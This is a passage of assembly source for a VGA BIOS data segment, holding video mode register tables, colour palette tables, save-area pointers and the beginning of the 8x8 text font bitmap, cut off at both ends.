017h, 001h, 000h, 00fh, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 005h, 00fh, 0ffh db 050h, 018h, 008h, 000h, 040h, 001h, 00fh, 000h, 006h, 063h, 05fh, 04fh, 050h, 082h, 054h, 080h db 0bfh, 01fh, 000h, 0c0h, 000h, 000h, 000h, 000h, 000h, 000h, 09ch, 08eh, 08fh, 028h, 000h, 096h db 0b9h, 0e3h, 0ffh, 000h, 001h, 002h, 003h, 004h, 005h, 006h, 007h, 010h, 011h, 012h, 013h, 014h db 015h, 016h, 017h, 001h, 000h, 00fh, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 005h, 00fh, 0ffh db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 050h, 018h, 00eh, 000h, 080h, 001h, 00fh, 000h, 006h, 0a3h, 05fh, 04fh, 050h, 082h, 054h, 080h db 0bfh, 01fh, 000h, 040h, 000h, 000h, 000h, 000h, 000h, 000h, 083h, 085h, 05dh, 028h, 00fh, 063h db 0bah, 0e3h, 0ffh, 000h, 008h, 000h, 000h, 018h, 018h, 000h, 000h, 000h, 008h, 000h, 000h, 000h db 018h, 000h, 000h, 001h, 000h, 001h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 005h, 00fh, 0ffh db 050h, 018h, 00eh, 000h, 080h, 001h, 00fh, 000h, 006h, 0a3h, 05fh, 04fh, 050h, 082h, 054h, 080h db 0bfh, 01fh, 000h, 040h, 000h, 000h, 000h, 000h, 000h, 000h, 083h, 085h, 05dh, 028h, 00fh, 063h db 0bah, 0e3h, 0ffh, 000h, 001h, 002h, 003h, 004h, 005h, 014h, 007h, 038h, 039h, 03ah, 03bh, 03ch db 03dh, 03eh, 03fh, 001h, 000h, 00fh, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 005h, 00fh, 0ffh db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 050h, 018h, 00eh, 000h, 010h, 000h, 003h, 000h, 002h, 067h, 05fh, 04fh, 050h, 082h, 055h, 081h db 0bfh, 01fh, 000h, 04fh, 00dh, 00eh, 000h, 000h, 000h, 000h, 09ch, 08eh, 08fh, 028h, 01fh, 096h db 0b9h, 0a3h, 0ffh, 000h, 001h, 002h, 003h, 004h, 005h, 014h, 007h, 038h, 039h, 03ah, 03bh, 03ch db 03dh, 03eh, 03fh, 00ch, 000h, 00fh, 008h, 000h, 000h, 000h, 000h, 000h, 010h, 00eh, 00fh, 0ffh db 028h, 018h, 010h, 000h, 008h, 008h, 003h, 000h, 002h, 067h, 02dh, 027h, 028h, 090h, 02bh, 0a0h db 0bfh, 01fh, 000h, 04fh, 00dh, 00eh, 000h, 000h, 000h, 000h, 09ch, 08eh, 08fh, 014h, 01fh, 096h db 0b9h, 0a3h, 0ffh, 000h, 001h, 002h, 003h, 004h, 005h, 014h, 007h, 038h, 039h, 03ah, 03bh, 03ch db 03dh, 03eh, 03fh, 00ch, 000h, 00fh, 008h, 000h, 000h, 000h, 000h, 000h, 010h, 00eh, 00fh, 0ffh db 050h, 018h, 010h, 000h, 010h, 000h, 003h, 000h, 002h, 067h, 05fh, 04fh, 050h, 082h, 055h, 081h db 0bfh, 01fh, 000h, 04fh, 00dh, 00eh, 000h, 000h, 000h, 000h, 09ch, 08eh, 08fh, 028h, 01fh, 096h db 0b9h, 0a3h, 0ffh, 000h, 001h, 002h, 003h, 004h, 005h, 014h, 007h, 038h, 039h, 03ah, 03bh, 03ch db 03dh, 03eh, 03fh, 00ch, 000h, 00fh, 008h, 000h, 000h, 000h, 000h, 000h, 010h, 00eh, 00fh, 0ffh db 050h, 018h, 010h, 000h, 010h, 000h, 003h, 000h, 002h, 066h, 05fh, 04fh, 050h, 082h, 055h, 081h db 0bfh, 01fh, 000h, 04fh, 00dh, 00eh, 000h, 000h, 000h, 000h, 09ch, 08eh, 08fh, 028h, 00fh, 096h db 0b9h, 0a3h, 0ffh, 000h, 008h, 008h, 008h, 008h, 008h, 008h, 008h, 010h, 018h, 018h, 018h, 018h db 018h, 018h, 018h, 00eh, 000h, 00fh, 008h, 000h, 000h, 000h, 000h, 000h, 010h, 00ah, 00fh, 0ffh db 050h, 01dh, 010h, 000h, 000h, 001h, 00fh, 000h, 006h, 0e3h, 05fh, 04fh, 050h, 082h, 054h, 080h db 00bh, 03eh, 000h, 040h, 000h, 000h, 000h, 000h, 000h, 000h, 0eah, 08ch, 0dfh, 028h, 000h, 0e7h db 004h, 0e3h, 0ffh, 000h, 03fh, 000h, 03fh, 000h, 03fh, 000h, 03fh, 000h, 03fh, 000h, 03fh, 000h db 03fh, 000h, 03fh, 001h, 000h, 00fh, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 005h, 00fh, 0ffh db 050h, 01dh, 010h, 000h, 000h, 001h, 00fh, 000h, 006h, 0e3h, 05fh, 04fh, 050h, 082h, 054h, 080h db 00bh, 03eh, 000h, 040h, 000h, 000h, 000h, 000h, 000h, 000h, 0eah, 08ch, 0dfh, 028h, 000h, 0e7h db 004h, 0e3h, 0ffh, 000h, 001h, 002h, 003h, 004h, 005h, 014h, 007h, 038h, 039h, 03ah, 03bh, 03ch db 03dh, 03eh, 03fh, 001h, 000h, 00fh, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 005h, 00fh, 0ffh db 028h, 018h, 008h, 000h, 000h, 001h, 00fh, 000h, 00eh, 063h, 05fh, 04fh, 050h, 082h, 054h, 080h db 0bfh, 01fh, 000h, 041h, 000h, 000h, 000h, 000h, 000h, 000h, 09ch, 08eh, 08fh, 028h, 040h, 096h db 0b9h, 0a3h, 0ffh, 000h, 001h, 002h, 003h, 004h, 005h, 006h, 007h, 008h, 009h, 00ah, 00bh, 00ch db 00dh, 00eh, 00fh, 041h, 000h, 00fh, 000h, 000h, 000h, 000h, 000h, 000h, 040h, 005h, 00fh, 0ffh db 064h, 024h, 010h, 000h, 000h, 001h, 00fh, 000h, 006h, 0e3h, 07fh, 063h, 063h, 083h, 06bh, 01bh db 072h, 0f0h, 000h, 060h, 000h, 000h, 000h, 000h, 000h, 000h, 059h, 08dh, 057h, 032h, 000h, 057h db 073h, 0e3h, 0ffh, 000h, 001h, 002h, 003h, 004h, 005h, 014h, 007h, 038h, 039h, 03ah, 03bh, 03ch db 03dh, 03eh, 03fh, 001h, 000h, 00fh, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 005h, 00fh, 0ffh _palette0: ; 0xc4e43 LB 0xc0 db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 02ah, 02ah, 02ah, 02ah, 02ah, 02ah, 02ah, 02ah db 02ah, 02ah, 02ah, 02ah, 02ah, 02ah, 02ah, 02ah, 02ah, 02ah, 02ah, 02ah, 02ah, 02ah, 02ah, 02ah db 02ah, 02ah, 02ah, 02ah, 02ah, 02ah, 02ah, 02ah, 02ah, 02ah, 02ah, 02ah, 02ah, 02ah, 02ah, 02ah db 02ah, 02ah, 02ah, 02ah, 02ah, 02ah, 02ah, 02ah, 03fh, 03fh, 03fh, 03fh, 03fh, 03fh, 03fh, 03fh db 03fh, 03fh, 03fh, 03fh, 03fh, 03fh, 03fh, 03fh, 03fh, 03fh, 03fh, 03fh, 03fh, 03fh, 03fh, 03fh db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 02ah, 02ah, 02ah, 02ah, 02ah, 02ah, 02ah, 02ah db 02ah, 02ah, 02ah, 02ah, 02ah, 02ah, 02ah, 02ah, 02ah, 02ah, 02ah, 02ah, 02ah, 02ah, 02ah, 02ah db 02ah, 02ah, 02ah, 02ah, 02ah, 02ah, 02ah, 02ah, 02ah, 02ah, 02ah, 02ah, 02ah, 02ah, 02ah, 02ah db 02ah, 02ah, 02ah, 02ah, 02ah, 02ah, 02ah, 02ah, 03fh, 03fh, 03fh, 03fh, 03fh, 03fh, 03fh, 03fh db 03fh, 03fh, 03fh, 03fh, 03fh, 03fh, 03fh, 03fh, 03fh, 03fh, 03fh, 03fh, 03fh, 03fh, 03fh, 03fh _palette1: ; 0xc4f03 LB 0xc0 db 000h, 000h, 000h, 000h, 000h, 02ah, 000h, 02ah, 000h, 000h, 02ah, 02ah, 02ah, 000h, 000h, 02ah db 000h, 02ah, 02ah, 015h, 000h, 02ah, 02ah, 02ah, 000h, 000h, 000h, 000h, 000h, 02ah, 000h, 02ah db 000h, 000h, 02ah, 02ah, 02ah, 000h, 000h, 02ah, 000h, 02ah, 02ah, 015h, 000h, 02ah, 02ah, 02ah db 015h, 015h, 015h, 015h, 015h, 03fh, 015h, 03fh, 015h, 015h, 03fh, 03fh, 03fh, 015h, 015h, 03fh db 015h, 03fh, 03fh, 03fh, 015h, 03fh, 03fh, 03fh, 015h, 015h, 015h, 015h, 015h, 03fh, 015h, 03fh db 015h, 015h, 03fh, 03fh, 03fh, 015h, 015h, 03fh, 015h, 03fh, 03fh, 03fh, 015h, 03fh, 03fh, 03fh db 000h, 000h, 000h, 000h, 000h, 02ah, 000h, 02ah, 000h, 000h, 02ah, 02ah, 02ah, 000h, 000h, 02ah db 000h, 02ah, 02ah, 015h, 000h, 02ah, 02ah, 02ah, 000h, 000h, 000h, 000h, 000h, 02ah, 000h, 02ah db 000h, 000h, 02ah, 02ah, 02ah, 000h, 000h, 02ah, 000h, 02ah, 02ah, 015h, 000h, 02ah, 02ah, 02ah db 015h, 015h, 015h, 015h, 015h, 03fh, 015h, 03fh, 015h, 015h, 03fh, 03fh, 03fh, 015h, 015h, 03fh db 015h, 03fh, 03fh, 03fh, 015h, 03fh, 03fh, 03fh, 015h, 015h, 015h, 015h, 015h, 03fh, 015h, 03fh db 015h, 015h, 03fh, 03fh, 03fh, 015h, 015h, 03fh, 015h, 03fh, 03fh, 03fh, 015h, 03fh, 03fh, 03fh _palette2: ; 0xc4fc3 LB 0xc0 db 000h, 000h, 000h, 000h, 000h, 02ah, 000h, 02ah, 000h, 000h, 02ah, 02ah, 02ah, 000h, 000h, 02ah db 000h, 02ah, 02ah, 02ah, 000h, 02ah, 02ah, 02ah, 000h, 000h, 015h, 000h, 000h, 03fh, 000h, 02ah db 015h, 000h, 02ah, 03fh, 02ah, 000h, 015h, 02ah, 000h, 03fh, 02ah, 02ah, 015h, 02ah, 02ah, 03fh db 000h, 015h, 000h, 000h, 015h, 02ah, 000h, 03fh, 000h, 000h, 03fh, 02ah, 02ah, 015h, 000h, 02ah db 015h, 02ah, 02ah, 03fh, 000h, 02ah, 03fh, 02ah, 000h, 015h, 015h, 000h, 015h, 03fh, 000h, 03fh db 015h, 000h, 03fh, 03fh, 02ah, 015h, 015h, 02ah, 015h, 03fh, 02ah, 03fh, 015h, 02ah, 03fh, 03fh db 015h, 000h, 000h, 015h, 000h, 02ah, 015h, 02ah, 000h, 015h, 02ah, 02ah, 03fh, 000h, 000h, 03fh db 000h, 02ah, 03fh, 02ah, 000h, 03fh, 02ah, 02ah, 015h, 000h, 015h, 015h, 000h, 03fh, 015h, 02ah db 015h, 015h, 02ah, 03fh, 03fh, 000h, 015h, 03fh, 000h, 03fh, 03fh, 02ah, 015h, 03fh, 02ah, 03fh db 015h, 015h, 000h, 015h, 015h, 02ah, 015h, 03fh, 000h, 015h, 03fh, 02ah, 03fh, 015h, 000h, 03fh db 015h, 02ah, 03fh, 03fh, 000h, 03fh, 03fh, 02ah, 015h, 015h, 015h, 015h, 015h, 03fh, 015h, 03fh db 015h, 015h, 03fh, 03fh, 03fh, 015h, 015h, 03fh, 015h, 03fh, 03fh, 03fh, 015h, 03fh, 03fh, 03fh _palette3: ; 0xc5083 LB 0x300 db 000h, 000h, 000h, 000h, 000h, 02ah, 000h, 02ah, 000h, 000h, 02ah, 02ah, 02ah, 000h, 000h, 02ah db 000h, 02ah, 02ah, 015h, 000h, 02ah, 02ah, 02ah, 015h, 015h, 015h, 015h, 015h, 03fh, 015h, 03fh db 015h, 015h, 03fh, 03fh, 03fh, 015h, 015h, 03fh, 015h, 03fh, 03fh, 03fh, 015h, 03fh, 03fh, 03fh db 000h, 000h, 000h, 005h, 005h, 005h, 008h, 008h, 008h, 00bh, 00bh, 00bh, 00eh, 00eh, 00eh, 011h db 011h, 011h, 014h, 014h, 014h, 018h, 018h, 018h, 01ch, 01ch, 01ch, 020h, 020h, 020h, 024h, 024h db 024h, 028h, 028h, 028h, 02dh, 02dh, 02dh, 032h, 032h, 032h, 038h, 038h, 038h, 03fh, 03fh, 03fh db 000h, 000h, 03fh, 010h, 000h, 03fh, 01fh, 000h, 03fh, 02fh, 000h, 03fh, 03fh, 000h, 03fh, 03fh db 000h, 02fh, 03fh, 000h, 01fh, 03fh, 000h, 010h, 03fh, 000h, 000h, 03fh, 010h, 000h, 03fh, 01fh db 000h, 03fh, 02fh, 000h, 03fh, 03fh, 000h, 02fh, 03fh, 000h, 01fh, 03fh, 000h, 010h, 03fh, 000h db 000h, 03fh, 000h, 000h, 03fh, 010h, 000h, 03fh, 01fh, 000h, 03fh, 02fh, 000h, 03fh, 03fh, 000h db 02fh, 03fh, 000h, 01fh, 03fh, 000h, 010h, 03fh, 01fh, 01fh, 03fh, 027h, 01fh, 03fh, 02fh, 01fh db 03fh, 037h, 01fh, 03fh, 03fh, 01fh, 03fh, 03fh, 01fh, 037h, 03fh, 01fh, 02fh, 03fh, 01fh, 027h db 03fh, 01fh, 01fh, 03fh, 027h, 01fh, 03fh, 02fh, 01fh, 03fh, 037h, 01fh, 03fh, 03fh, 01fh, 037h db 03fh, 01fh, 02fh, 03fh, 01fh, 027h, 03fh, 01fh, 01fh, 03fh, 01fh, 01fh, 03fh, 027h, 01fh, 03fh db 02fh, 01fh, 03fh, 037h, 01fh, 03fh, 03fh, 01fh, 037h, 03fh, 01fh, 02fh, 03fh, 01fh, 027h, 03fh db 02dh, 02dh, 03fh, 031h, 02dh, 03fh, 036h, 02dh, 03fh, 03ah, 02dh, 03fh, 03fh, 02dh, 03fh, 03fh db 02dh, 03ah, 03fh, 02dh, 036h, 03fh, 02dh, 031h, 03fh, 02dh, 02dh, 03fh, 031h, 02dh, 03fh, 036h db 02dh, 03fh, 03ah, 02dh, 03fh, 03fh, 02dh, 03ah, 03fh, 02dh, 036h, 03fh, 02dh, 031h, 03fh, 02dh db 02dh, 03fh, 02dh, 02dh, 03fh, 031h, 02dh, 03fh, 036h, 02dh, 03fh, 03ah, 02dh, 03fh, 03fh, 02dh db 03ah, 03fh, 02dh, 036h, 03fh, 02dh, 031h, 03fh, 000h, 000h, 01ch, 007h, 000h, 01ch, 00eh, 000h db 01ch, 015h, 000h, 01ch, 01ch, 000h, 01ch, 01ch, 000h, 015h, 01ch, 000h, 00eh, 01ch, 000h, 007h db 01ch, 000h, 000h, 01ch, 007h, 000h, 01ch, 00eh, 000h, 01ch, 015h, 000h, 01ch, 01ch, 000h, 015h db 01ch, 000h, 00eh, 01ch, 000h, 007h, 01ch, 000h, 000h, 01ch, 000h, 000h, 01ch, 007h, 000h, 01ch db 00eh, 000h, 01ch, 015h, 000h, 01ch, 01ch, 000h, 015h, 01ch, 000h, 00eh, 01ch, 000h, 007h, 01ch db 00eh, 00eh, 01ch, 011h, 00eh, 01ch, 015h, 00eh, 01ch, 018h, 00eh, 01ch, 01ch, 00eh, 01ch, 01ch db 00eh, 018h, 01ch, 00eh, 015h, 01ch, 00eh, 011h, 01ch, 00eh, 00eh, 01ch, 011h, 00eh, 01ch, 015h db 00eh, 01ch, 018h, 00eh, 01ch, 01ch, 00eh, 018h, 01ch, 00eh, 015h, 01ch, 00eh, 011h, 01ch, 00eh db 00eh, 01ch, 00eh, 00eh, 01ch, 011h, 00eh, 01ch, 015h, 00eh, 01ch, 018h, 00eh, 01ch, 01ch, 00eh db 018h, 01ch, 00eh, 015h, 01ch, 00eh, 011h, 01ch, 014h, 014h, 01ch, 016h, 014h, 01ch, 018h, 014h db 01ch, 01ah, 014h, 01ch, 01ch, 014h, 01ch, 01ch, 014h, 01ah, 01ch, 014h, 018h, 01ch, 014h, 016h db 01ch, 014h, 014h, 01ch, 016h, 014h, 01ch, 018h, 014h, 01ch, 01ah, 014h, 01ch, 01ch, 014h, 01ah db 01ch, 014h, 018h, 01ch, 014h, 016h, 01ch, 014h, 014h, 01ch, 014h, 014h, 01ch, 016h, 014h, 01ch db 018h, 014h, 01ch, 01ah, 014h, 01ch, 01ch, 014h, 01ah, 01ch, 014h, 018h, 01ch, 014h, 016h, 01ch db 000h, 000h, 010h, 004h, 000h, 010h, 008h, 000h, 010h, 00ch, 000h, 010h, 010h, 000h, 010h, 010h db 000h, 00ch, 010h, 000h, 008h, 010h, 000h, 004h, 010h, 000h, 000h, 010h, 004h, 000h, 010h, 008h db 000h, 010h, 00ch, 000h, 010h, 010h, 000h, 00ch, 010h, 000h, 008h, 010h, 000h, 004h, 010h, 000h db 000h, 010h, 000h, 000h, 010h, 004h, 000h, 010h, 008h, 000h, 010h, 00ch, 000h, 010h, 010h, 000h db 00ch, 010h, 000h, 008h, 010h, 000h, 004h, 010h, 008h, 008h, 010h, 00ah, 008h, 010h, 00ch, 008h db 010h, 00eh, 008h, 010h, 010h, 008h, 010h, 010h, 008h, 00eh, 010h, 008h, 00ch, 010h, 008h, 00ah db 010h, 008h, 008h, 010h, 00ah, 008h, 010h, 00ch, 008h, 010h, 00eh, 008h, 010h, 010h, 008h, 00eh db 010h, 008h, 00ch, 010h, 008h, 00ah, 010h, 008h, 008h, 010h, 008h, 008h, 010h, 00ah, 008h, 010h db 00ch, 008h, 010h, 00eh, 008h, 010h, 010h, 008h, 00eh, 010h, 008h, 00ch, 010h, 008h, 00ah, 010h db 00bh, 00bh, 010h, 00ch, 00bh, 010h, 00dh, 00bh, 010h, 00fh, 00bh, 010h, 010h, 00bh, 010h, 010h db 00bh, 00fh, 010h, 00bh, 00dh, 010h, 00bh, 00ch, 010h, 00bh, 00bh, 010h, 00ch, 00bh, 010h, 00dh db 00bh, 010h, 00fh, 00bh, 010h, 010h, 00bh, 00fh, 010h, 00bh, 00dh, 010h, 00bh, 00ch, 010h, 00bh db 00bh, 010h, 00bh, 00bh, 010h, 00ch, 00bh, 010h, 00dh, 00bh, 010h, 00fh, 00bh, 010h, 010h, 00bh db 00fh, 010h, 00bh, 00dh, 010h, 00bh, 00ch, 010h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h _static_functionality: ; 0xc5383 LB 0x10 db 0ffh, 0e0h, 00fh, 000h, 000h, 000h, 000h, 007h, 002h, 008h, 0e7h, 00ch, 000h, 000h, 000h, 000h _dcc_table: ; 0xc5393 LB 0x24 db 010h, 001h, 007h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h _secondary_save_area: ; 0xc53b7 LB 0x1a db 01ah, 000h, 093h, 053h, 000h, 0c0h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h _video_save_pointer_table: ; 0xc53d1 LB 0x1c db 0c3h, 046h, 000h, 0c0h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 0b7h, 053h, 000h, 0c0h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h _vgafont8: ; 0xc53ed LB 0x800 db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 07eh, 081h, 0a5h, 081h, 0bdh, 099h, 081h, 07eh db 07eh, 0ffh, 0dbh, 0ffh, 0c3h, 0e7h, 0ffh, 07eh, 06ch, 0feh, 0feh, 0feh, 07ch, 038h, 010h, 000h db 010h, 038h, 07ch, 0feh, 07ch, 038h, 010h, 000h, 038h, 07ch, 038h, 0feh, 0feh, 07ch, 038h, 07ch db 010h, 010h, 038h, 07ch, 0feh, 07ch, 038h, 07ch, 000h, 000h, 018h, 03ch, 03ch, 018h, 000h, 000h db 0ffh, 0ffh, 0e7h, 0c3h, 0c3h, 0e7h, 0ffh, 0ffh, 000h, 03ch, 066h, 042h, 042h, 066h, 03ch, 000h db 0ffh, 0c3h, 099h, 0bdh, 0bdh, 099h, 0c3h, 0ffh, 00fh, 007h, 00fh, 07dh, 0cch, 0cch, 0cch, 078h db 03ch, 066h, 066h, 066h, 03ch, 018h, 07eh, 018h, 03fh, 033h, 03fh, 030h, 030h, 070h, 0f0h, 0e0h db 07fh, 063h, 07fh, 063h, 063h, 067h, 0e6h, 0c0h, 099h, 05ah, 03ch, 0e7h, 0e7h, 03ch, 05ah, 099h db 080h, 0e0h, 0f8h, 0feh, 0f8h, 0e0h, 080h, 000h, 002h, 00eh, 03eh, 0feh, 03eh, 00eh, 002h, 000h db 018h, 03ch, 07eh, 018h, 018h, 07eh, 03ch, 018h, 066h, 066h, 066h, 066h, 066h, 000h, 066h, 000h db 07fh, 0dbh, 0dbh, 07bh, 01bh, 01bh, 01bh, 000h, 03eh, 063h, 038h, 06ch, 06ch, 038h, 0cch, 078h db 000h, 000h, 000h, 000h, 07eh, 07eh, 07eh, 000h, 018h, 03ch, 07eh, 018h, 07eh, 03ch, 018h, 0ffh db 018h, 03ch, 07eh, 018h, 018h, 018h, 018h, 000h, 018h, 018h, 018h, 018h, 07eh, 03ch, 018h, 000h db 000h, 018h, 00ch, 0feh, 00ch, 018h, 000h, 000h, 000h, 030h, 060h, 0feh, 060h, 030h, 000h, 000h db 000h, 000h, 0c0h, 0c0h, 0c0h, 0feh, 000h, 000h, 000h, 024h, 066h, 0ffh, 066h, 024h, 000h, 000h db 000h, 018h, 03ch, 07eh, 0ffh, 0ffh, 000h, 000h, 000h, 0ffh, 0ffh, 07eh, 03ch, 018h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 030h, 078h, 078h, 030h, 030h, 000h, 030h, 000h db 06ch, 06ch, 06ch, 000h, 000h, 000h, 000h, 000h, 06ch, 06ch, 0feh, 06ch, 0feh, 06ch, 06ch, 000h db 030h, 07ch, 0c0h, 078h, 00ch, 0f8h, 030h, 000h, 000h, 0c6h, 0cch, 018h, 030h, 066h, 0c6h, 000h db 038h, 06ch, 038h, 076h, 0dch, 0cch, 076h, 000h, 060h, 060h, 0c0h, 000h, 000h, 000h, 000h, 000h db 018h, 030h, 060h, 060h, 060h, 030h, 018h, 000h, 060h, 030h, 018h, 018h, 018h, 030h, 060h, 000h db 000h, 066h, 03ch, 0ffh, 03ch, 066h, 000h, 000h, 000h, 030h, 030h, 0fch, 030h, 030h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 030h, 030h, 060h, 000h, 000h, 000h, 0fch, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 030h, 030h, 000h, 006h, 00ch, 018h, 030h, 060h, 0c0h, 080h, 000h db 07ch, 0c6h, 0ceh, 0deh, 0f6h, 0e6h, 07ch, 000h, 030h, 070h, 030h, 030h, 030h, 030h, 0fch, 000h db 078h, 0cch, 00ch, 038h, 060h, 0cch, 0fch, 000h, 078h, 0cch, 00ch, 038h, 00ch, 0cch, 078h, 000h db 01ch, 03ch, 06ch, 0cch, 0feh, 00ch, 01eh, 000h, 0fch, 0c0h, 0f8h, 00ch, 00ch, 0cch, 078h, 000h db 038h, 060h, 0c0h, 0f8h, 0cch, 0cch, 078h, 000h, 0fch, 0cch, 00ch, 018h, 030h, 030h, 030h, 000h db 078h, 0cch, 0cch, 078h, 0cch, 0cch, 078h, 000h, 078h, 0cch, 0cch, 07ch, 00ch, 018h, 070h, 000h db 000h, 030h, 030h, 000h, 000h, 030h, 030h, 000h, 000h, 030h, 030h, 000h, 000h, 030h, 030h, 060h db 018h, 030h, 060h, 0c0h, 060h, 030h, 018h, 000h, 000h, 000h, 0fch, 000h, 000h, 0fch, 000h, 000h db 060h, 030h, 018h, 00ch, 018h, 030h, 060h, 000h, 078h, 0cch, 00ch, 018h, 030h, 000h, 030h, 000h db 07ch, 0c6h, 0deh, 0deh, 0deh, 0c0h, 078h, 000h, 030h, 078h, 0cch, 0cch, 0fch, 0cch, 0cch, 000h db 0fch, 066h, 066h, 07ch, 066h, 066h, 0fch, 000h, 03ch, 066h, 0c0h, 0c0h, 0c0h, 066h, 03ch, 000h db 0f8h, 06ch, 066h, 066h, 066h, 06ch, 0f8h, 000h, 0feh, 062h, 068h, 078h, 068h, 062h, 0feh, 000h db 0feh, 062h, 068h, 078h, 068h, 060h, 0f0h, 000h, 03ch, 066h, 0c0h, 0c0h, 0ceh, 066h, 03eh, 000h db 0cch, 0cch, 0cch, 0fch, 0cch, 0cch, 0cch, 000h, 078h, 030h, 030h, 030h, 030h, 030h, 078h, 000h db 01eh, 00ch, 00ch, 00ch, 0cch, 0cch, 078h, 000h, 0e6h, 066h, 06ch, 078h, 06ch, 066h, 0e6h, 000h db 0f0h, 060h, 060h, 060h, 062h, 066h, 0feh, 000h, 0c6h, 0eeh, 0feh, 0feh, 0d6h, 0c6h, 0c6h, 000h db 0c6h, 0e6h, 0f6h, 0deh, 0ceh, 0c6h, 0c6h, 000h, 038h, 06ch, 0c6h, 0c6h, 0c6h, 06ch, 038h, 000h db 0fch, 066h, 066h, 07ch, 060h, 060h, 0f0h, 000h, 078h, 0cch, 0cch, 0cch, 0dch, 078h, 01ch, 000h db 0fch, 066h, 066h, 07ch, 06ch, 066h, 0e6h, 000h, 078h, 0cch, 0e0h, 070h, 01ch, 0cch, 078h, 000h db 0fch, 0b4h, 030h, 030h, 030h, 030h, 078h, 000h, 0cch, 0cch, 0cch, 0cch, 0cch, 0cch, 0fch, 000h db 0cch, 0cch, 0cch, 0cch, 0cch, 078h, 030h, 000h, 0c6h, 0c6h, 0c6h, 0d6h, 0feh, 0eeh, 0c6h, 000h db 0c6h, 0c6h, 06ch, 038h, 038h, 06ch, 0c6h, 000h, 0cch, 0cch, 0cch, 078h, 030h, 030h, 078h, 000h db 0feh, 0c6h, 08ch, 018h, 032h, 066h, 0feh, 000h, 078h, 060h, 060h, 060h, 060h, 060h, 078h, 000h db 0c0h, 060h, 030h, 018h, 00ch, 006h, 002h, 000h, 078h, 018h, 018h, 018h, 018h, 018h, 078h, 000h db 010h, 038h, 06ch, 0c6h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 0ffh db 030h, 030h, 018h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 078h, 00ch, 07ch, 0cch, 076h, 000h db 0e0h, 060h, 060h, 07ch, 066h, 066h, 0dch, 000h, 000h, 000h, 078h, 0cch, 0c0h, 0cch, 078h, 000h db 01ch, 00ch, 00ch, 07ch, 0cch, 0cch, 076h, 000h, 000h, 000h, 078h, 0cch, 0fch, 0c0h, 078h, 000h db 038h, 06ch, 060h, 0f0h, 060h, 060h, 0f0h, 000h, 000h, 000h, 076h, 0cch, 0cch, 07ch, 00ch, 0f8h db 0e0h, 060h, 